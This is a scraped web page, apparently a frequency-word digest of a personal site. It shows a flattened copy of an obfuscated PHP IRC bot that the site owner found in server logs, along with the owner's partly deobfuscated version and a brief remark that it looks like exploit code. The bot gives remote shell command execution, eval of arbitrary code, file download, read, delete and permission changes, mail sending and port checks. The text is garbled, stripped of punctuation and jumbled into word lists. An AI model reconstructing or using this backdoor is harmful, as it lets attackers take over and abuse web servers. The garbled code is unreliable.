Meta tags:
Headings (most frequently used words):
php, script, code, attack, raw, cleaned, up,
Text of the page (most frequently used words):
v11 (102), zdfff0a7fa1a55 (102), b64 (69), ob5d21085bf2c0 (67), j351a1d2ad68bc (66), else (61), case (60), break (60), v16 (51), e01b6e20344b68 (51), v15 (50), d73be252ca8221 (50), f11 (48), df2f4e964f79d0 (48), count (36), f10 (31), l69923efad5b7a (31), substr (28), isset (24), i865c0c0b4ab0e (24), function (22), strlen (20), php (19), v10 (19), h6e2baaf3b97db (19), _server (16), aec12e0af93cb5 (16), return (15), for (15), q56eacb300613d (15), v12 (13), n78e731027d8fd (13), bhmjykgox (13), http (11), while (10), jf9feaa9bcab30 (10), m8052146769b14 (10), yc7a1ddb19daba (10), y9b207167e5381 (10), 332 (9), failed (9), m341be97d9aff9 (9), the (8), mrnd (8), feof (8), explode (8), false (8), fclose (8), v17 (8), sleep (8), is_numeric (8), chr (8), ord (8), function_exists (8), u954eef6d6eac5 (8), ra87deb01c5f53 (8), viewtopic (8), images (8), this (7), script (7), dir (7), t2cb9df9898e55 (7), n111ca5df4a68b (7), net (7), code (6), array (6), base64_decode (6), trim (6), fgets (6), join (6), v13 (6), true (6), server_name (6), see11cbb19052e (6), m67b3dba8bc677 (6), k0666f0acdeed3 (6), m957b527bcfbad (6), lb4a88417b3d01 (6), hub (6), 58240 (6), web (5), server (5), nick (5), v14 (5), touch (5), chown (5), chmod (5), md5 (5), get (5), url (5), rfc35fdc70d5fc (5), f7fabc1404929c (5), v7c6483ddcd99e (5), elseif (5), k435ed7e9f07f7 (5), with (4), some (4), and (4), mode (4), not (4), ini_set (4), shuffle (4), fsockopen (4), user (4), 512 (4), version (4), php_os (4), switch (4), quit (4), getcwd (4), fopen (4), file (4), symlink (4), mkdir (4), directory (4), rmdir (4), p099fb995346f3 (4), from (4), mail (4), int (4), fwrite (4), getmypid (4), server_software (4), p1dccadfed7bcb (4), popen (4), mt_rand (4), exec (4), shell_exec (4), system (4), ob_start (4), ob_get_contents (4), ob_end_clean (4), passthru (4), b59b514174bffe (4), ad988971435842 (4), tkldsw (4), s317d37b0edc7b (4), xae0e1268c3859 (4), wfac65290966c7 (4), k8fa14cdd754f9 (4), attack (4), mar (3), 2008 (3), 127 (3), localhost (3), cat (3), reading (3), eof (3), copy (3), dns (3), host (3), 353 (3), td707b8140a662 (3), eb5eda0a74558a (3), k734515cbd3636 (3), zcxocgdqk (3), txt (3), eclub (3), like (2), search (2), seems (2), exploit (2), that (2), irc (2), run (2), set_time_limit (2), max_execution_time (2), set_magic_quotes_runtime (2), output_buffering (2), error_reporting (2), ignore_user_abort (2), 8080 (2), ujijk4ivsixrmq (2), afaw (2), spd1iysuqa (2), dg1qqk1halk (2), ne6n (2), fpekvyhvdlwqxglbxnbwwid1hll1wvwjvfpyh1tahvs (2), cqtrig (2), str_replace (2), main (2), global (2), sqytlpako4a (2), li6mnawiii (2), zuysvka (2), sqywizkppzltk4zdmg6aiyakkzruhpcr (2), rpihlyytr5lwvkhdi6srl0 (2), jko4 (2), rzytgpfpr5tdli7mmw6fiq (2), skjuhydpopdti5bhlkvrhoy (2), tweuvfzsclfdvi7cvkkpmyasji (2), luyoj (2), vaookjfubppoi5jcllnrhoy (2), sqywizkppvemipjhlm6rizu (2), sqytlpako5emipjhlm6rizu (2), pass (2), continue (2), 001 (2), unset (2), privmsg (2), strstr (2), notice (2), array_shift (2), skm (2), htmen (2), out (2), qgwaokkb (2), exit (2), tpws (2), skc (2), is_dir (2), opendir (2), now (2), readdir (2), filetype (2), closedir (2), p5wp (2), is_file (2), 256 (2), tkuz (2), p5g (2), chdir (2), tqe (2), unlink (2), ukoqlzs (2), t62inpysoa (2), p5ykqae (2), p5yiozc (2), permissions (2), zm6u (2), tqgzm6u (2), p6q (2), szweng (2), message (2), sent (2), send (2), failure (2), ilmg (2), qkko (2), gethostbyaddr (2), gethostbyname (2), tpmoppswqq (2), tqi (2), tjyl (2), eval (2), q5mp (2), downloaded (2), sp0 (2), server_addr (2), hostname (2), t50 (2), get_current_user (2), pid (2), phpversion (2), admin (2), server_admin (2), docroot (2), document_root (2), http_host (2), request_uri (2), tkonpqkumuw (2), portchk (2), 2open (2), 2closed (2), uakwn5g (2), php_uname (2), rzg (2), p6gz (2), qayalaiymg (2), f14 (2), preg_match (2), ready (2), 4523 (2), 321443425 (2), fdgsdfg (2), 54475 (2), 23432 (2), 5234 (2), 4678 (2), posix_getegid (2), empty (2), is_resource (2), fread (2), 1024 (2), pclose (2), e32 (2), hth4 (2), we5635 (2), 7fhge (2), sdf (2), faw (2), faasde (2), spam (2), tc8a89c2c306fb (2), gfb0daa8f01135 (2), ufjjvk1trw (2), vkvsu0lptg (2), o736007832d216 (2), m6438c669e0d0d (2), twfpbc8v (2), re5tly8 (2), ug9ydenoay8v (2), h54d54a126a783 (2), nduymyq1fjmymtq0mzqynv5mzedzzgzhiyq2qdm1m0aknuajjdvantq0nzumndumniu3jv5eof4mkkahfim0fjizndmyjeajitqhmjmkmyuzncuyiyq1i0akntizncu2jtq2nzhejifam0q (2), m0ahiyfajf4mkl4mqcmkiuajiuajisqjjsmkjsmkjwuzmkaznebovgg0qhdlntyznv4hqcmqxjdgsedfjealqcnaiyraiyfaiyqhqcnaismkiyujjcvejszejsylxiyqu0rgi0akiuzbvyrgquftreu (2), md5hash (2), scripts (2), apparently (2), h18 (2), other (2), myluckypotparty (2), today, found, lot, entries, log, looks, formatting, replace, variable, names, base64, decoding, strings, becomes, slightly, more, readable, may, have, made, mistakes, though, email, misc, linux, latex, lcd, calibration, home, laatste, wijziging, copyright, connects, better, varx, added, han, kwang, improve, readability, base64_encode, ping, pong, 433, listing, unable, list, contents, couldn, open, pwd, current, changed, change, deleted, delete, touched, symlinked, link, chowned, chmodded, created, create, removed, remove, copied, permission, denied, bad, error, netinfo, sysinfo, uname, rejected, cleaned, related, dmfywa, k70106d0d82151, d809b1abe3f111, ueftuw, vvnfug, uelorw, ue9orw, mdax, tu9erq, sk9jtg, ndmz, b3v0, uvvjvca6ssbrvulu, rglyly8gtm93igxpc3rpbmc6, rglyly8gvw5hymxlihrvigxpc3qgy29udgvudhmgb2y, rglyly8, axmgbm90igegzglyiq, q0fuly8gtm93ihjlywrpbmcgzmlszto, q0fuly8gq291bgruj3qgb3blbg, q0fuly8, axmgbm90igegzmlszq, ufdely8gq3vycmvudcbkaxi6, q0qvlybdagfuz2vkigrpcib0bw, q0qvlybgywlszwqgdg8gy2hhbmdligrpcg, uk0vlybezwxldgvk, uk0vlybgywlszwqgdg8gzgvszxrl, vg91y2gvlybub3vjagvk, vg91y2gvlybgywlszwqgdg8gdg91y2g, u3lttgluay8vifn5bwxpbmtlza, u3lttgluay8viezhawxlzcb0bybsaw5r, q2hvd24vlybdag93bmvk, q2hvd24vlybgywlszwqgdg8gy2hvd24, q2htb2qvlybdag1vzgrlza, q2htb2qvlybgywlszwqgdg8gy2htb2q, tuteaxivlybdcmvhdgvkigrpcmvjdg9yeq, tuteaxivlybgywlszwqgdg8gy3jlyxrligrpcmvjdg9yeq, uk1eaxivlybszw1vdmvkigrpcmvjdg9yeq, uk1eaxivlybgywlszwqgdg8gcmvtb3zligrpcmvjdg9yeq, q1avlybdb3bpzwq, q1avlybgywlszwqgdg8gy29weq, tuq1ly8, uvvjvca6uvvjvc4ulg, r2v0ly8gugvybwlzc2lvbibkzw5pzwq, r2v0ly8gqmfkifvstc9etlmgzxjyb3i, r2v0ly8, tmv0sw5mby8v, u3lzaw5mby8v, t56bd7107802eb, vw5hbwuvlw, suqvlw, pibbru9gxq, umvhzhkvlybpaw, umvhzhkvlybyzwply3rlza, raw, my_hostname, my_isp, login, 376, pizza, xs4all, 366, disconnected, secretpass, don, seem, vulnerable, but, curiosity, tried, running, unprivileged, account, analyzing, network, traffic, wireshark, logs, 121, 119, 172, naibukansa, info, p4n33123e, blueline, suppose, will, try, instructions, sending, here, tcp, stream, spaces, inserted, into, discourage, engines, following, these, links, cherrygirl, ninaru, hut2, thepotparty, holegirl, pictureofme, amyru, migirlsadaoiwqiseatmeisum, mail333, body, levispotparty, buggy, make, them, download, page, execute, since, above, being, served, text, urls, are, 109, 0100, obforums, 200, 2673, mozilla, compatible, msie, windows, clr, 4322, lagom,
Text of the page (random words):
else u954eef6d6eac5 getcwd if is_dir u954eef6d6eac5 if o736007832d216 opendir u954eef6d6eac5 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 rglyly8gtm93igxpc3rpbmc6 2 u954eef6d6eac5 2 while k435ed7e9f07f7 readdir o736007832d216 false if k435ed7e9f07f7 k435ed7e9f07f7 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 filetype u954eef6d6eac5 k435ed7e9f07f7 k435ed7e9f07f7 sleep 1 closedir else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 rglyly8gvw5hymxlihrvigxpc3qgy29udgvudhmgb2y 2 u954eef6d6eac5 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 rglyly8 2 u954eef6d6eac5 2 ob5d21085bf2c0 axmgbm90igegzglyiq break case l69923efad5b7a p5wp if count zdfff0a7fa1a55 1 if is_file zdfff0a7fa1a55 1 if k0666f0acdeed3 fopen zdfff0a7fa1a55 1 r df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q0fuly8gtm93ihjlywrpbmcgzmlszto 2 zdfff0a7fa1a55 1 2 while feof k0666f0acdeed3 m6438c669e0d0d trim fgets k0666f0acdeed3 256 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 m6438c669e0d0d sleep 1 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 eof else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q0fuly8gq291bgruj3qgb3blbg 2 zdfff0a7fa1a55 1 2 for reading else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q0fuly8 2 zdfff0a7fa1a55 1 2 ob5d21085bf2c0 axmgbm90igegzmlszq break case l69923efad5b7a tkuz df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 ufdely8gq3vycmvudcbkaxi6 getcwd break case l69923efad5b7a p5g if count zdfff0a7fa1a55 1 if chdir zdfff0a7fa1a55 1 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q0qvlybdagfuz2vkigrpcib0bw zdfff0a7fa1a55 1 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q0qvlybgywlszwqgdg8gy2hhbmdligrpcg break case l69923efad5b7a tqe if count zdfff0a7fa1a55 1 if unlink zdfff0a7fa1a55 1 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 uk0vlybezwxldgvk 2 zdfff0a7fa1a55 1 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 uk0vlybgywlszwqgdg8gzgvszxrl 2 zdfff0a7fa1a55 1 2 break case l69923efad5b7a ukoqlzs if count zdfff0a7fa1a55 1 if touch zdfff0a7fa1a55 1 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 vg91y2gvlybub3vjagvk 2 zdfff0a7fa1a55 1 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 vg91y2gvlybgywlszwqgdg8gdg91y2g 2 zdfff0a7fa1a55 1 2 break case l69923efad5b7a t62inpysoa if count zdfff0a7fa1a55 2 if symlink zdfff0a7fa1a55 1 zdfff0a7fa1a55 2 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 u3lttgluay8vifn5bwxpbmtlza 2 zdfff0a7fa1a55 2 2 to 2 zdfff0a7fa1a55 1 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 u3lttgluay8viezhawxlzcb0bybsaw5r 2 zdfff0a7fa1a55 2 2 to 2 zdfff0a7fa1a55 1 2 break case l69923efad5b7a p5ykqae if count zdfff0a7fa1a55 2 if chown zdfff0a7fa1a55 1 zdfff0a7fa1a55 2 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q2hvd24vlybdag93bmvk 2 zdfff0a7fa1a55 1 2 to 2 zdfff0a7fa1a55 2 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q2hvd24vlybgywlszwqgdg8gy2hvd24 2 zdfff0a7fa1a55 1 2 to 2 zdfff0a7fa1a55 2 2 break case l69923efad5b7a p5yiozc if count zdfff0a7fa1a55 2 if chmod zdfff0a7fa1a55 1 zdfff0a7fa1a55 2 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q2htb2qvlybdag1vzgrlza 2 zdfff0a7fa1a55 1 2 with permissions 2 zdfff0a7fa1a55 2 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q2htb2qvlybgywlszwqgdg8gy2htb2q 2 zdfff0a7fa1a55 1 2 break case l69923efad5b7a sz zm6u if count zdfff0a7fa1a55 1 if mkdir zdfff0a7fa1a55 1 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 tuteaxivlybdcmvhdgvkigrpcmvjdg9yeq 2 zdfff0a7fa1a55 1 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 tuteaxivlybgywlszwqgdg8gy3jlyxrligrpcmvjdg9yeq 2 zdfff0a7fa1a55 1 2 break case l69923efad5b7a tqgzm6u if count zdfff0a7fa1a55 1 if rmdir zdfff0a7fa1a55 1 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 uk1eaxivlybszw1vdmvkigrpcmvjdg9yeq 2 zdfff0a7fa1a55 1 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 uk1eaxivlybgywlszwqgdg8gcmvtb3zligrpcmvjdg9yeq 2 zdfff0a7fa1a55 1 2 break case l69923efad5b7a p6q if count zdfff0a7fa1a55 2 if copy zdfff0a7fa1a55 1 zdfff0a7fa1a55 2 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q1avlybdb3bpzwq 2 zdfff0a7fa1a55 1 2 to 2 zdfff0a7fa1a55 2 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 q1avlybgywlszwqgdg8gy29weq 2 zdfff0a7fa1a55 1 2 to 2 zdfff0a7fa1a55 2 2 break case l69923efad5b7a szweng if count zdfff0a7fa1a55 4 p099fb995346f3 from zdfff0a7fa1a55 2 r n if mail zdfff0a7fa1a55 1 zdfff0a7fa1a55 3 substr n78e731027d8fd zdfff0a7fa1a55 4 p099fb995346f3 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 twfpbc8v message sent to 2 zdfff0a7fa1a55 1 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 twfpbc8v send failure break case l69923efad5b7a sz ilmg df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 tuq1ly8 md5 zdfff0a7fa1a55 1 break case l69923efad5b7a qkko if isset zdfff0a7fa1a55 1 m957b527bcfbad explode zdfff0a7fa1a55 1 if count m957b527bcfbad 4 is_numeric m957b527bcfbad 0 is_numeric m957b527bcfbad 1 is_numeric m957b527bcfbad 2 is_numeric m957b527bcfbad 3 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 re5tly8 zdfff0a7fa1a55 1 gethostbyaddr zdfff0a7fa1a55 1 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 re5tly8 zdfff0a7fa1a55 1 gethostbyname zdfff0a7fa1a55 1 break case l69923efad5b7a tpmoppswqq q56eacb300613d j351a1d2ad68bc ob5d21085bf2c0 uvvjvca6uvvjvc4ulg fclose j351a1d2ad68bc rfc35fdc70d5fc break case l69923efad5b7a tqi if isset zdfff0a7fa1a55 1 m8052146769b14 ad988971435842 int zdfff0a7fa1a55 1 q56eacb300613d j351a1d2ad68bc ob5d21085bf2c0 tkldsw m8052146769b14 else m8052146769b14 ad988971435842 aec12e0af93cb5 mrnd q56eacb300613d j351a1d2ad68bc ob5d21085bf2c0 tkldsw m8052146769b14 break case l69923efad5b7a tjyl if count zdfff0a7fa1a55 1 eval substr n78e731027d8fd strlen zdfff0a7fa1a55 0 break case l69923efad5b7a q5mp if count zdfff0a7fa1a55 2 if k0666f0acdeed3 fopen zdfff0a7fa1a55 2 w df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 r2v0ly8gugvybwlzc2lvbibkzw5pzwq else if eb5eda0a74558a file zdfff0a7fa1a55 1 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 r2v0ly8gqmfkifvstc9etlmgzxjyb3i else for i865c0c0b4ab0e 0 i865c0c0b4ab0e count eb5eda0a74558a i865c0c0b4ab0e fwrite k0666f0acdeed3 eb5eda0a74558a i865c0c0b4ab0e df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 r2v0ly8 2 zdfff0a7fa1a55 1 2 downloaded to 2 zdfff0a7fa1a55 2 2 fclose k0666f0acdeed3 break case l69923efad5b7a sp0 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 tmv0sw5mby8v ip _server server_addr hostname _server server_name break case l69923efad5b7a t50 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 u3lzaw5mby8v user get_current_user pid getmypid version php phpversion os php_os server_software _server server_software server_name _server server_name admin _server server_admin docroot _server document_root http host _server http_host url _server request_uri break case l69923efad5b7a tkonpqkumuw if isset zdfff0a7fa1a55 1 zdfff0a7fa1a55 2 if fsockopen zdfff0a7fa1a55 1 int zdfff0a7fa1a55 2 t56bd7107802eb m341be97d9aff9 5 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 ug9ydenoay8v zdfff0a7fa1a55 1 zdfff0a7fa1a55 2 is 2open 2 else df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 ug9ydenoay8v zdfff0a7fa1a55 1 zdfff0a7fa1a55 2 is 2closed 2 break case l69923efad5b7a uakwn5g df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 vw5hbwuvlw php_uname break case l69923efad5b7a rzg df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 suqvlw getmypid break case l69923efad5b7a p6gz if count zdfff0a7fa1a55 1 p1dccadfed7bcb popen substr n78e731027d8fd strlen zdfff0a7fa1a55 0 r while feof p1dccadfed7bcb k734515cbd3636 trim fgets p1dccadfed7bcb 512 if strlen k734515cbd3636 0 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 k734515cbd3636 sleep 1 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 pibbru9gxq break case l69923efad5b7a qayalaiymg h54d54a126a783 substr n78e731027d8fd strlen zdfff0a7fa1a55 0 break else switch substr zdfff0a7fa1a55 0 1 case l69923efad5b7a bg if isset zdfff0a7fa1a55 1 md5 zdfff0a7fa1a55 1 jf9feaa9bcab30 aec12e0af93cb5 pa preg_match jf9feaa9bcab30 aec12e0af93cb5 ha m67b3dba8bc677 df2f4e964f79d0 j351a1d2ad68bc d73be252ca8221 e01b6e20344b68 ob5d21085bf2c0 umvhzhkvlybpaw see11cbb19052e m67b3dba8bc677 true else df2f4e964f79d0 j351a1d2ad68bc false jf9feaa9bcab30 aec12e0af93cb5 ch ob5d21085bf2c0 umvhzhkvlybyzwply3rlza break td707b8140a662 f7fabc1404929c fclose j351a1d2ad68bc sleep 3 rfc35fdc70d5fc else shuffle b59b514174bffe rfc35fdc70d5fc function q56eacb300613d s317d37b0edc7b n78e731027d8fd fwrite s317d37b0edc7b n78e731027d8fd r n function df2f4e964f79d0 s317d37b0edc7b d73be252ca8221 e01b6e20344b68 n78e731027d8fd if d73be252ca8221 true q56eacb300613d s317d37b0edc7b ob5d21085bf2c0 ufjjvk1trw e01b6e20344b68 n78e731027d8fd function l69923efad5b7a yc7a1ddb19daba lb4a88417b3d01 yc7a1ddb19daba base64_decode yc7a1ddb19daba for i865c0c0b4ab0e 0 i865c0c0b4ab0e strlen yc7a1ddb19daba i865c0c0b4ab0e ra87deb01c5f53 substr yc7a1ddb19daba i865c0c0b4ab0e 1 xae0e1268c3859 substr ob5d21085bf2c0 nduymyq1fjmymtq0mzqynv5mzedzzgzhiyq2qdm1m0aknuajjdvantq0nzumndumniu3jv5eof4mkkahfim0fjizndmyjeajitqhmjmkmyuzncuyiyq1i0akntizncu2jtq2nzhejifam0q i865c0c0b4ab0e strlen ob5d21085bf2c0 nduymyq1fjmymtq0mzqynv5mzedzzgzhiyq2qdm1m0aknuajjdvantq0nzumndumniu3jv5eof4mkkahfim0fjizndmyjeajitqhmjmkmyuzncuyiyq1i0akntizncu2jtq2nzhejifam0q 1 1 ra87deb01c5f53 chr ord ra87deb01c5f53 ord xae0e1268c3859 lb4a88417b3d01 ra87deb01c5f53 return lb4a88417b3d01 function ad988971435842 wfac65290966c7 for i865c0c0b4ab0e 0 i865c0c0b4ab0e wfac65290966c7 i865c0c0b4ab0e t2cb9df9898e55 chr mt_rand 0 25 97 if posix_getegid 0 t2cb9df9898e55 r t2cb9df9898e55 return t2cb9df9898e55 function h54d54a126a783 n111ca5df4a68b y9b207167e5381 if empty n111ca5df4a68b if function_exists exec exec n111ca5df4a68b y9b207167e5381 y9b207167e5381 join n y9b207167e5381 elseif function_exists shell_exec y9b207167e5381 shell_exec n111ca5df4a68b elseif function_exists system ob_start system n111ca5df4a68b y9b207167e5381 ob_get_contents ob_end_clean elseif function_exists passthru ob_start passthru n111ca5df4a68b y9b207167e5381 ob_get_contents ob_end_clean elseif is_resource k8fa14cdd754f9 popen n111ca5df4a68b r y9b207167e5381 while feof k8fa14cdd754f9 y9b207167e5381 fread k8fa14cdd754f9 1024 pclose k8fa14cdd754f9 return y9b207167e5381 function jf9feaa9bcab30 yc7a1ddb19daba lb4a88417b3d01 yc7a1ddb19daba base64_decode yc7a1ddb19daba for i865c0c0b4ab0e 0 i865c0c0b4ab0e strlen yc7a1ddb19daba i865c0c0b4ab0e ra87deb01c5f53 substr yc7a1ddb19daba i865c0c0b4ab0e 1 xae0e1268c3859 substr ob5d21085bf2c0 m0ahiyfajf4mkl4mqcmkiuajiuajisqjjsmkjsmkjwuzmkaznebovgg0qhdlntyznv4hqcmqxjdgsedfjealqcnaiyraiyfaiyqhqcnaismkiyujjcvejszejsylxiyqu0rgi0akiuzbvyrgquftreu i865c0c0b4ab0e strlen ob5d21085bf2c0 m0ahiyfajf4mkl4mqcmkiuajiuajisqjjsmkjsmkjwuzmkaznebovgg0qhdlntyznv4hqcmqxjdgsedfjealqcnaiyraiyfaiyqhqcnaismkiyujjcvejszejsylxiyqu0rgi0akiuzbvyrgquftreu 1 1 ra87deb01c5f53 chr ord ra87deb01c5f53 ord xae0e1268c3859 lb4a88417b3d01 ra87deb01c5f53 return lb4a88417b3d01 function gfb0daa8f01135 wfac65290966c7 t2cb9df9898e55 for i865c0c0b4ab0e 0 i865c0c0b4ab0e wfac65290966c7 i865c0c0b4ab0e t2cb9df9898e55 chr mt_rand 0 25 97 return t2cb9df9898e55 rfc35fdc70d5fc cleaned up script code with some formatting search replace of variable and function names and base64 decoding of strings the script becomes slightly more readable i may have made mistakes though php mode php this seems to be some exploit code that connects to an irc server better not run this script set_time_limit 0 ini_set max_execution_time 0 set_magic_quotes_runtime 0 ini_set output_buffering 0 error_reporting 0 ignore_user_abort v1 array po 8080 sp ujijk4ivsixrmq ch afaw ke spd1iysuqa ha dg1qqk1halk ne6n pa fpekvyhvdlwqxglbxnbwwid1hll1wvwjvfpyh1tahvs tr mrnd 9 mo cqtrig ve b64 varx added by han kwang to improve readability of the code function b64 s return base64_encode s function f1 v2 v2 str_replace v2 return v2 function f2 v2 v2 base64_decode f1 v2 return v2 function main global v1 v3 array v4 v5 array sqytlpako4a li6mnawiii zuysvka sqywizkppzltk4zdmg6aiyakkzruhpcr rpihlyytr5lwvkhdi6srl0 jko4 rzytgpfpr5tdli7mmw6fiq skjuhydpopdti5bhlkvrhoy tweuvfzsclfdvi7cvkkpmyasji luyoj vaookjfubppoi5jcllnrhoy sqywizkppvemipjhlm6rizu sqytlpako5emipjhlm6rizu shuffle v5 if v6 fsockopen f4 v5 0 v1 po v7 v8 15 v9 f6 v1 mrnd if strlen v1 sp 0 f7 v6 f2 b64 pass f4 v1 sp f7 v6 f2 b64 user f8 v1 mrnd 127 0 0 1 localhost v9 f7 v6 f2 b64 nick v9 while feof v6 v9 trim fgets v6 512 v10 explode v9 if v9 v4 continue if isset v10 0 v10 0 f2 b64 ping f7 v6 f2 b64 pong v10 1 else if isset v10 1 v10 1 f2 b64 001 f7 v6 f2 b64 mode v9 f4 v1 mo f7 v6 f2 b64 join f4 v1 ch f4 v1 ke else if isset v11 1 v11 1 f2 b64 433 f7 v6 f2 b64 nick v9 else if isset v10 1 isset v3 v10 1 unset v3 v10 1 else if isset v10 1 v10 1 f2 b64 privmsg v10 1 332 v12 strstr v9 v12 substr v12 2 v11 explode v12 v13 v10 0 v14 explode v13 v14 substr v14 0 1 v15 false if v11 0 1 f2 b64 version 1 f7 v6 notice v14 1 f2 b64 version f4 v1 ve 1 for i1 0 i1 count v11 i1 if v11 i1 s v15 true if v10 1 332 v16 v10 3 else if v10 2 v9 v16 v14 else v16 v10 2 if v11 0 php_os array_shift v11 if substr v11 0 0 1 v1 tr if isset v3 v13 v10 1 332 switch substr v11 0 1 case f10 skm if v10 1 332 v3 v13 false f11 v6 v15 v16 htmen b64 out break case f10 qgwaokkb f7 v6 f2 b64 quit i quit fclose v6 exit 0 break case f10 tpws if count v11 1 f7 v6 substr v12 strlen v11 0 break case f10 skc if isset v11 1 v17 v11 1 else v17 getcwd if is_dir v17 if o1 opendir v17 f11 v6 v15 v16 f2 b64 dir now listing 2 v17 2 while k1 readdir o1 false if k1 k1 f11 v6 v15 v16 filetype v17 k1 k1 sleep 1 closedir else f11 v6 v15 v16 f2 b64 dir unable to list contents of 2 v17 2 else f11 v6 v15 v16 f2 b64 dir 2 v17 2 f2 b64 is not a dir break case f10 p5wp if count v11 1 if is_file v11 1 if k2 fopen v11 1 r f11 v6 v15 v16 f2 b64 cat now reading file 2 v11 1 2 while feof k2 m1 trim fgets k2 256 f11 v6 v15 v16 m1 sleep 1 f11 v6 v15 v16 eof else f11 v6 v15 v16 f2 b64 ca...
|
